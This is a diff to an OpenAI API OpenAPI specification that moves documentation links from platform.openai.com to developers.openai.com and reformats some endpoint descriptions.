- [`POST /v1/realtime/calls`](https://platform.openai.com/docs/api-reference/realtime/create-call).
+ [`POST /v1/realtime/calls`](https://developers.openai.com/api/reference/resources/realtime/subresources/calls/methods/create).
responses:
'200':
description: Call hangup initiated successfully.
@@ -16182,7 +16182,7 @@ paths:
type: string
description: |-
The identifier for the call provided in the
- [`realtime.call.incoming`](https://platform.openai.com/docs/api-reference/webhook-events/realtime/call/incoming)
+ [`realtime.call.incoming`](https://developers.openai.com/api/reference/resources/webhooks#realtime.call.incoming)
webhook.
requestBody:
required: true
@@ -16220,7 +16220,7 @@ paths:
type: string
description: |-
The identifier for the call provided in the
- [`realtime.call.incoming`](https://platform.openai.com/docs/api-reference/webhook-events/realtime/call/incoming)
+ [`realtime.call.incoming`](https://developers.openai.com/api/reference/resources/webhooks#realtime.call.incoming)
webhook.
requestBody:
required: false
@@ -16341,7 +16341,7 @@ paths:
applied to any sessions created using that client secret, but these can also be overridden
by the client connection.
- [Learn more about authentication with client secrets over WebRTC](https://platform.openai.com/docs/guides/realtime-webrtc).
+ [Learn more about authentication with client secrets over WebRTC](https://developers.openai.com/api/docs/guides/realtime-webrtc).
Returns the created client secret and the effective session object. The client secret is a string that looks like `ek_1234`.
/realtime/sessions:
@@ -17727,12 +17727,12 @@ paths:
"metadata": {}
}
description: |
- Creates a model response. Provide [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate [text](https://platform.openai.com/docs/guides/text)
- or [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have the model call
- your own [custom code](https://platform.openai.com/docs/guides/function-calling) or use built-in
- [tools](https://platform.openai.com/docs/guides/tools) like [web search](https://platform.openai.com/docs/guides/tools-web-search)
- or [file search](https://platform.openai.com/docs/guides/tools-file-search) to use your own data
+ Creates a model response. Provide [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to generate [text](https://developers.openai.com/api/docs/guides/text)
+ or [JSON](https://developers.openai.com/api/docs/guides/structured-outputs) outputs. Have the model call
+ your own [custom code](https://developers.openai.com/api/docs/guides/function-calling) or use built-in
+ [tools](https://developers.openai.com/api/docs/guides/tools) like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search) to use your own data
as input for the model's response.
/responses/{response_id}:
get:
@@ -17764,7 +17764,7 @@ paths:
description: |
If set to true, the model response data will be streamed to the client
as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ See the [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
- in: query
name: starting_after
@@ -18027,7 +18027,10 @@ paths:
"user": null,
"metadata": {}
}
- description: "Cancels a model response with the given ID. Only responses created with\nthe `background` parameter set to `true` can be cancelled. \n[Learn more](https://platform.openai.com/docs/guides/background).\n"
+ description: |
+ Cancels a model response with the given ID. Only responses created with
+ the `background` parameter set to `true` can be cancelled.
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
/responses/{response_id}/input_items:
get:
operationId: listInputItems
@@ -18844,7 +18847,7 @@ paths:
required: true
schema:
type: string
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) the messages belong to.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) the messages belong to.
- name: limit
in: query
description: |
@@ -18982,7 +18985,7 @@ paths:
required: true
schema:
type: string
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) to create a message for.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) to create a message for.
requestBody:
required: true
content:
@@ -19072,7 +19075,7 @@ paths:
required: true
schema:
type: string
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) to which this message belongs.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) to which this message belongs.
- in: path
name: message_id
required: true
@@ -19523,7 +19526,7 @@ paths:
description: |
A list of additional fields to include in the response. Currently the only supported value is `step_details.tool_calls[*].file_search.results[*].content` to fetch the file search result content.
- See the [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings) for more information.
+ See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
schema:
type: array
items:
@@ -19872,7 +19875,7 @@ paths:
required: true
schema:
type: string
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) that was run.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was run.
- in: path
name: run_id
required: true
@@ -19975,7 +19978,7 @@ paths:
required: true
schema:
type: string
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) that was run.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was run.
- in: path
name: run_id
required: true
@@ -20248,7 +20251,7 @@ paths:
description: |
A list of additional fields to include in the response. Currently the only supported value is `step_details.tool_calls[*].file_search.results[*].content` to fetch the file search result content.
- See the [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings) for more information.
+ See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
schema:
type: array
items:
@@ -20364,7 +20367,7 @@ paths:
description: |
A list of additional fields to include in the response. Currently the only supported value is `step_details.tool_calls[*].file_search.results[*].content` to fetch the file search result content.
- See the [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings) for more information.
+ See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
schema:
type: array
items:
@@ -20455,7 +20458,7 @@ paths:
required: true
schema:
type: string
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) to which this run belongs.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) to which this run belongs.
- in: path
name: run_id
required: true
@@ -20748,7 +20751,26 @@ paths:
"status": "pending",
"expires_at": 1719127296
}
- description: "Creates an intermediate [Upload](https://platform.openai.com/docs/api-reference/uploads/object) object\nthat you can add [Parts](https://platform.openai.com/docs/api-reference/uploads/part-object) to.\nCurrently, an Upload can accept at most 8 GB in total and expires after an\nhour after you create it.\n\nOnce you complete the Upload, we will create a\n[File](https://platform.openai.com/docs/api-reference/files/object) object that contains all the parts\nyou uploaded. This File is usable in the rest of our platform as a regular\nFile object.\n\nFor certain `purpose` values, the correct `mime_type` must be specified. \nPlease refer to documentation for the \n[supported MIME types for your use case](https://platform.openai.com/docs/assistants/tools/file-search#supported-files).\n\nFor guidance on the proper filename extensions for each purpose, please\nfollow the documentation on [creating a\nFile](https://platform.openai.com/docs/api-reference/files/create).\n\nReturns the Upload object with status `pending`.\n"
+ description: |
+ Creates an intermediate [Upload](https://developers.openai.com/api/reference/resources/uploads) object
+ that you can add [Parts](https://developers.openai.com/api/reference/resources/uploads/subresources/parts) to.
+ Currently, an Upload can accept at most 8 GB in total and expires after an
+ hour after you create it.
+
+ Once you complete the Upload, we will create a
+ [File](https://developers.openai.com/api/reference/resources/files) object that contains all the parts
+ you uploaded. This File is usable in the rest of our platform as a regular
+ File object.
+
+ For certain `purpose` values, the correct `mime_type` must be specified.
+ Please refer to documentation for the
+ [supported MIME types for your use case](https://developers.openai.com/api/docs/guides/tools-file-search#supported-files).
+
+ For guidance on the proper filename extensions for each purpose, please
+ follow the documentation on [creating a
+ File](https://developers.openai.com/api/reference/resources/files/methods/create).
+
+ Returns the Upload object with status `pending`.
/uploads/{upload_id}/cancel:
post:
operationId: cancelUpload
@@ -20851,7 +20873,15 @@ paths:
"purpose": "fine-tune",
}
}
- description: "Completes the [Upload](https://platform.openai.com/docs/api-reference/uploads/object). \n\nWithin the returned Upload object, there is a nested [File](https://platform.openai.com/docs/api-reference/files/object) object that is ready to use in the rest of the platform.\n\nYou can specify the order of the Parts by passing in an ordered list of the Part IDs.\n\nThe number of bytes uploaded upon completion must match the number of bytes initially specified when creating the Upload object. No Parts may be added after an Upload is completed.\nReturns the Upload object with status `completed`, including an additional `file` property containing the created usable File object.\n"
+ description: |
+ Completes the [Upload](https://developers.openai.com/api/reference/resources/uploads).
+
+ Within the returned Upload object, there is a nested [File](https://developers.openai.com/api/reference/resources/files) object that is ready to use in the rest of the platform.
+
+ You can specify the order of the Parts by passing in an ordered list of the Part IDs.
+
+ The number of bytes uploaded upon completion must match the number of bytes initially specified when creating the Upload object. No Parts may be added after an Upload is completed.
+ Returns the Upload object with status `completed`, including an additional `file` property containing the created usable File object.
/uploads/{upload_id}/parts:
post:
operationId: addUploadPart
@@ -20895,7 +20925,12 @@ paths:
"created_at": 1719185911,
"upload_id": "upload_abc123"
}
- description: "Adds a [Part](https://platform.openai.com/docs/api-reference/uploads/part-object) to an [Upload](https://platform.openai.com/docs/api-reference/uploads/object) object. A Part represents a chunk of bytes from the file you are trying to upload. \n\nEach Part can be at most 64 MB, and you can add Parts until you hit the Upload maximum of 8 GB.\n\nIt is possible to add multiple Parts in parallel. You can decide the intended order of the Parts when you [complete the Upload](https://platform.openai.com/docs/api-reference/uploads/complete).\n"
+ description: |
+ Adds a [Part](https://developers.openai.com/api/reference/resources/uploads/subresources/parts) to an [Upload](https://developers.openai.com/api/reference/resources/uploads) object. A Part represents a chunk of bytes from the file you are trying to upload.
+
+ Each Part can be at most 64 MB, and you can add Parts until you hit the Upload maximum of 8 GB.
+
+ It is possible to add multiple Parts in parallel. You can decide the intended order of the Parts when you [complete the Upload](https://developers.openai.com/api/reference/resources/uploads/methods/complete).
/vector_stores:
get:
operationId: listVectorStores
@@ -21797,7 +21832,7 @@ paths:
tags:
- Vector stores
summary: Create vector store file
- description: Create a vector store file by attaching a [File](https://platform.openai.com/docs/api-reference/files) to a [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object).
+ description: Create a vector store file by attaching a [File](https://developers.openai.com/api/reference/resources/files) to a [vector store](https://developers.openai.com/api/reference/resources/vector_stores).
parameters:
- in: path
name: vector_store_id
@@ -22009,7 +22044,7 @@ paths:
object: "vector_store.file.deleted",
deleted: true
}
- description: Delete a vector store file. This will remove the file from the vector store but the file itself will not be deleted. To delete the file, use the [delete file](https://platform.openai.com/docs/api-reference/files/delete) endpoint.
+ description: Delete a vector store file. This will remove the file from the vector store but the file itself will not be deleted. To delete the file, use the [delete file](https://developers.openai.com/api/reference/resources/files/methods/delete) endpoint.
post:
operationId: updateVectorStoreFileAttributes
tags:
@@ -22860,7 +22895,7 @@ paths:
name: Create content provenance check
group: content_provenance_checks
description: |-
- Check whether an image or audio file contains known OpenAI provenance signals. [Learn more about content provenance](/api/docs/guides/content-provenance).
+ Check whether an image or audio file contains known OpenAI provenance signals. [Learn more about content provenance](https://developers.openai.com/api/docs/guides/content-provenance).
If `not_detected`, it means the tool did not find supported signals in the uploaded file. The content could still have been generated by OpenAI if the metadata was stripped or has evidence of tampering, the watermark was degraded, it comes from a legacy generation model, or it was created before provenance signals were available. Content could also still be AI-generated by another company's model, which the tool currently does not detect.
/videos:
@@ -23882,7 +23917,7 @@ paths:
description: |-
Compact a conversation. Returns a compacted response object.
- Learn when and how to compact long-running conversations in the [conversation state guide](https://platform.openai.com/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
+ Learn when and how to compact long-running conversations in the [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
/skills:
post:
tags:
@@ -26192,12 +26227,12 @@ paths:
enum:
- responses_multi_agent=v1
description: |
- Creates a model response. Provide [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate [text](https://platform.openai.com/docs/guides/text)
- or [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have the model call
- your own [custom code](https://platform.openai.com/docs/guides/function-calling) or use built-in
- [tools](https://platform.openai.com/docs/guides/tools) like [web search](https://platform.openai.com/docs/guides/tools-web-search)
- or [file search](https://platform.openai.com/docs/guides/tools-file-search) to use your own data
+ Creates a model response. Provide [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to generate [text](https://developers.openai.com/api/docs/guides/text)
+ or [JSON](https://developers.openai.com/api/docs/guides/structured-outputs) outputs. Have the model call
+ your own [custom code](https://developers.openai.com/api/docs/guides/function-calling) or use built-in
+ [tools](https://developers.openai.com/api/docs/guides/tools) like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search) to use your own data
as input for the model's response.
/responses/{response_id}?beta=true:
get:
@@ -26229,7 +26264,7 @@ paths:
description: |
If set to true, the model response data will be streamed to the client
as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ See the [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
- in: query
name: starting_after
@@ -26531,7 +26566,10 @@ paths:
"user": null,
"metadata": {}
}
- description: "Cancels a model response with the given ID. Only responses created with\nthe `background` parameter set to `true` can be cancelled. \n[Learn more](https://platform.openai.com/docs/guides/background).\n"
+ description: |
+ Cancels a model response with the given ID. Only responses created with
+ the `background` parameter set to `true` can be cancelled.
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
/responses/compact?beta=true:
post:
summary: Compact a response
@@ -26702,7 +26740,7 @@ paths:
description: |-
Compact a conversation. Returns a compacted response object.
- Learn when and how to compact long-running conversations in the [conversation state guide](https://platform.openai.com/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
+ Learn when and how to compact long-running conversations in the [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
/responses/{response_id}/input_items?beta=true:
get:
operationId: beta_listInputItems
@@ -27414,7 +27452,7 @@ components:
- type: 'null'
model:
description: |
- ID of the model to use. You can use the [List models](https://platform.openai.com/docs/api-reference/models/list) API to see all of your available models, or see our [Model overview](https://platform.openai.com/docs/models) for descriptions of them.
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
type: string
instructions:
anyOf:
@@ -27443,7 +27481,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter`` tool. There can be a maximum of 20 files associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter`` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -27454,7 +27492,7 @@ components:
vector_store_ids:
type: array
description: |
- The ID of the [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
maxItems: 1
items:
type: string
@@ -27538,7 +27576,7 @@ components:
`thread.message.completed` event.
We may add additional events over time, so we recommend handling unknown events gracefully
- in your code. See the [Assistants API quickstart](https://platform.openai.com/docs/assistants/overview) to learn how to
+ in your code. See the [Assistants API quickstart](https://developers.openai.com/api/docs/assistants/migration) to learn how to
integrate the Assistants API with streaming.
x-oaiMeta:
name: Assistant stream events
@@ -27630,7 +27668,7 @@ components:
description: |
The maximum number of results the file search tool should output. The default is 20 for `gpt-4*` models and 5 for `gpt-3.5-turbo`. This number should be between 1 and 50 inclusive.
- Note that the file search tool may output fewer than `max_num_results` results. See the [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings) for more information.
+ Note that the file search tool may output fewer than `max_num_results` results. See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
ranking_options:
$ref: '#/components/schemas/FileSearchRankingOptions'
required:
@@ -27664,9 +27702,9 @@ components:
- function
AssistantsApiResponseFormatOption:
description: |
- Specifies the format that the model must output. Compatible with [GPT-4o](https://platform.openai.com/docs/models#gpt-4o), [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4), and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ Specifies the format that the model must output. Compatible with [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o), [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
- Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured Outputs which ensures the model will match your supplied JSON schema. Learn more in the [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured Outputs which ensures the model will match your supplied JSON schema. Learn more in the [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the message the model generates is valid JSON.
@@ -27773,7 +27811,7 @@ components:
description: |
An optional text to guide the model's style or continue a previous audio
segment.
- For `whisper-1`, the [prompt is a list of keywords](https://platform.openai.com/docs/guides/speech-to-text#prompting).
+ For `whisper-1`, the [prompt is a list of keywords](https://developers.openai.com/api/docs/guides/speech-to-text#prompting).
For `gpt-4o-transcribe` models (excluding `gpt-4o-transcribe-diarize`), the prompt is a free text string, for example "expect words related to technology".
Prompt is not supported with `gpt-realtime-whisper` in GA Realtime sessions.
delay:
@@ -28883,7 +28921,7 @@ components:
Model ID used to process the batch, like `gpt-6-astra`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model
- guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
errors:
type: object
properties:
@@ -28974,7 +29012,7 @@ components:
type: integer
description: |
The number of tokens that were retrieved from the cache. [More on
- prompt caching](https://platform.openai.com/docs/guides/prompt-caching).
+ prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
required:
- cached_tokens
output_tokens:
@@ -29543,7 +29581,7 @@ components:
`["text"]`
- The `gpt-4o-audio-preview` model can also be used to [generate audio](https://platform.openai.com/docs/guides/audio). To
+ The `gpt-4o-audio-preview` model can also be used to [generate audio](https://developers.openai.com/api/docs/guides/audio). To
request that this model generate both text and audio responses, you can
use:
@@ -29701,7 +29739,7 @@ components:
- type: object
description: |
Data about a previous audio response from the model.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
required:
- id
properties:
@@ -29810,7 +29848,7 @@ components:
type: object
title: Audio content part
description: |
- Learn about [audio inputs](https://platform.openai.com/docs/guides/audio).
+ Learn about [audio inputs](https://developers.openai.com/api/docs/guides/audio).
properties:
type:
type: string
@@ -29846,7 +29884,7 @@ components:
type: object
title: File content part
description: |
- Learn about [file inputs](https://platform.openai.com/docs/guides/text) for text generation.
+ Learn about [file inputs](https://developers.openai.com/api/docs/guides/text) for text generation.
properties:
type:
type: string
@@ -29859,10 +29897,14 @@ components:
properties:
filename:
type: string
- description: "The name of the file, used when passing the file to the model as a \nstring.\n"
+ description: |
+ The name of the file, used when passing the file to the model as a
+ string.
file_data:
type: string
- description: "The base64 encoded file data, used when passing the file to the model \nas a string.\n"
+ description: |
+ The base64 encoded file data, used when passing the file to the model
+ as a string.
file_id:
type: string
description: |
@@ -29884,7 +29926,7 @@ components:
type: object
title: Image content part
description: |
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
properties:
type:
type: string
@@ -29901,7 +29943,7 @@ components:
format: uri
detail:
type: string
- description: Specifies the detail level of the image. Learn more in the [Vision guide](https://platform.openai.com/docs/guides/vision#low-or-high-fidelity-image-understanding).
+ description: Specifies the detail level of the image. Learn more in the [Vision guide](https://developers.openai.com/api/docs/guides/images-vision#choose-an-image-detail-level).
enum:
- auto
- low
@@ -29937,7 +29979,7 @@ components:
type: object
title: Text content part
description: |
- Learn about [text inputs](https://platform.openai.com/docs/guides/text-generation).
+ Learn about [text inputs](https://developers.openai.com/api/docs/guides/text).
properties:
type:
type: string
@@ -30044,7 +30086,7 @@ components:
description: The text contents of the message.
title: Text content
- type: array
- description: An array of content parts with a defined type. Supported options differ based on the [model](https://platform.openai.com/docs/models) being used to generate the response. Can contain text, image, or audio inputs.
+ description: An array of content parts with a defined type. Supported options differ based on the [model](https://developers.openai.com/api/docs/models) being used to generate the response. Can contain text, image, or audio inputs.
title: Array of content parts
items:
$ref: '#/components/schemas/ChatCompletionRequestUserMessageContentPart'
@@ -30092,7 +30134,7 @@ components:
type: array
description: |
Annotations for the message, when applicable, as when using the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
items:
type: object
description: |
@@ -30154,7 +30196,7 @@ components:
- type: object
description: |
If the audio output modality is requested, this object contains data
- about the audio response from the model. [Learn more](https://platform.openai.com/docs/guides/audio).
+ about the audio response from the model. [Learn more](https://developers.openai.com/api/docs/guides/audio).
required:
- id
- expires_at
@@ -30706,7 +30748,7 @@ components:
title: Computer tool call
description: |
A tool call to a computer use tool. See the
- [computer use guide](https://platform.openai.com/docs/guides/tools-computer-use) for more information.
+ [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
properties:
type:
type: string
@@ -31010,7 +31052,7 @@ components:
$ref: '#/components/schemas/OutputContent'
ConversationItem:
title: Conversation item
- description: A single item within a conversation. The set of possible types are the same as the `output` type of a [Response object](https://platform.openai.com/docs/api-reference/responses/object#responses/object-output).
+ description: A single item within a conversation. The set of possible types are the same as the `output` type of a [Response object](https://developers.openai.com/api/reference/resources/responses#%28resource%29%20responses%20%3E%20%28model%29%20response%20%3E%20%28schema%29%20%3E%20%28property%29%20output).
discriminator:
propertyName: type
anyOf:
@@ -31161,7 +31203,7 @@ components:
properties:
model:
description: |
- ID of the model to use. You can use the [List models](https://platform.openai.com/docs/api-reference/models/list) API to see all of your available models, or see our [Model overview](https://platform.openai.com/docs/models) for descriptions of them.
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
example: gpt-5
anyOf:
- type: string
@@ -31210,7 +31252,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -31221,14 +31263,14 @@ components:
vector_store_ids:
type: array
description: |
- The [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
maxItems: 1
items:
type: string
vector_stores:
type: array
description: |
- A helper to create a [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) with file_ids and attach it to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ A helper to create a [vector store](https://developers.openai.com/api/reference/resources/vector_stores) with file_ids and attach it to this assistant. There can be a maximum of 1 vector store attached to the assistant.
maxItems: 1
items:
type: object
@@ -31236,7 +31278,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
maxItems: 100000000
items:
type: string
@@ -31340,9 +31382,9 @@ components:
description: |
The ID of an uploaded file that contains requests for the new batch.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create) for how to upload a file.
+ See [upload file](https://developers.openai.com/api/reference/resources/files/methods/create) for how to upload a file.
- Your input file must be formatted as a [JSONL file](https://platform.openai.com/docs/api-reference/batch/request-input), and must be uploaded with the purpose `batch`. The file can contain up to 50,000 requests, and can be up to 200 MB in size.
+ Your input file must be formatted as a [JSONL file](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file), and must be uploaded with the purpose `batch`. The file can contain up to 50,000 requests, and can be up to 200 MB in size.
endpoint:
type: string
enum:
@@ -31372,9 +31414,9 @@ components:
messages:
description: |
A list of messages comprising the conversation so far. Depending on the
- [model](https://platform.openai.com/docs/models) you use, different message types (modalities) are
- supported, like [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and [audio](https://platform.openai.com/docs/guides/audio).
+ [model](https://developers.openai.com/api/docs/models) you use, different message types (modalities) are
+ supported, like [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and [audio](https://developers.openai.com/api/docs/guides/audio).
type: array
minItems: 1
items:
@@ -31383,7 +31425,7 @@ components:
description: |
Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
- characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
+ characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models)
to browse and compare available models.
$ref: '#/components/schemas/ModelIdsShared'
service_tier:
@@ -31396,7 +31438,7 @@ components:
$ref: '#/components/schemas/ReasoningEffort'
max_completion_tokens:
description: |
- An upper bound for the number of tokens that can be generated for a completion, including visible output tokens and [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ An upper bound for the number of tokens that can be generated for a completion, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
type: integer
nullable: true
frequency_penalty:
@@ -31424,7 +31466,7 @@ components:
title: Web search
description: |
This tool searches the web for relevant results to use in a response.
- Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
properties:
user_location:
type: object
@@ -31464,7 +31506,7 @@ components:
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables
Structured Outputs which ensures the model will match your supplied JSON
schema. Learn more in the [Structured Outputs
- guide](https://platform.openai.com/docs/guides/structured-outputs).
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema`
@@ -31480,7 +31522,7 @@ components:
nullable: true
description: |
Parameters for audio output. Required when audio output is requested with
- `modalities: ["audio"]`. [Learn more](https://platform.openai.com/docs/guides/audio).
+ `modalities: ["audio"]`. [Learn more](https://developers.openai.com/api/docs/guides/audio).
required:
- voice
- format
@@ -31510,8 +31552,8 @@ components:
nullable: true
description: |
Whether or not to store the output of this chat completion request for
- use in our [model distillation](https://platform.openai.com/docs/guides/distillation) or
- [evals](https://platform.openai.com/docs/guides/evals) products.
+ use in our [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model) or
+ [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
moderation:
@@ -31524,8 +31566,8 @@ components:
description: |
If set to true, the model response data will be streamed to the client
as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
- for more information, along with the [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ See the [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
+ for more information, along with the [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
type: boolean
nullable: true
@@ -31558,12 +31600,12 @@ components:
nullable: true
max_tokens:
description: |
- The maximum number of [tokens](/tokenizer) that can be generated in the
+ The maximum number of [tokens](https://platform.openai.com/tokenizer) that can be generated in the
chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is
- not compatible with [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ not compatible with [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
type: integer
nullable: true
deprecated: true
@@ -31578,7 +31620,7 @@ components:
prediction:
nullable: true
description: |
- Configuration for a [Predicted Output](https://platform.openai.com/docs/guides/predicted-outputs),
+ Configuration for a [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
which can greatly improve response times when large parts of the model
response are known ahead of time. This is most common when you are
regenerating a file with only minor changes to most of the content.
@@ -31604,8 +31646,8 @@ components:
type: array
description: |
A list of tools the model may call. You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools) or
- [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools) or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
items:
anyOf:
- $ref: '#/components/schemas/ChatCompletionTool'
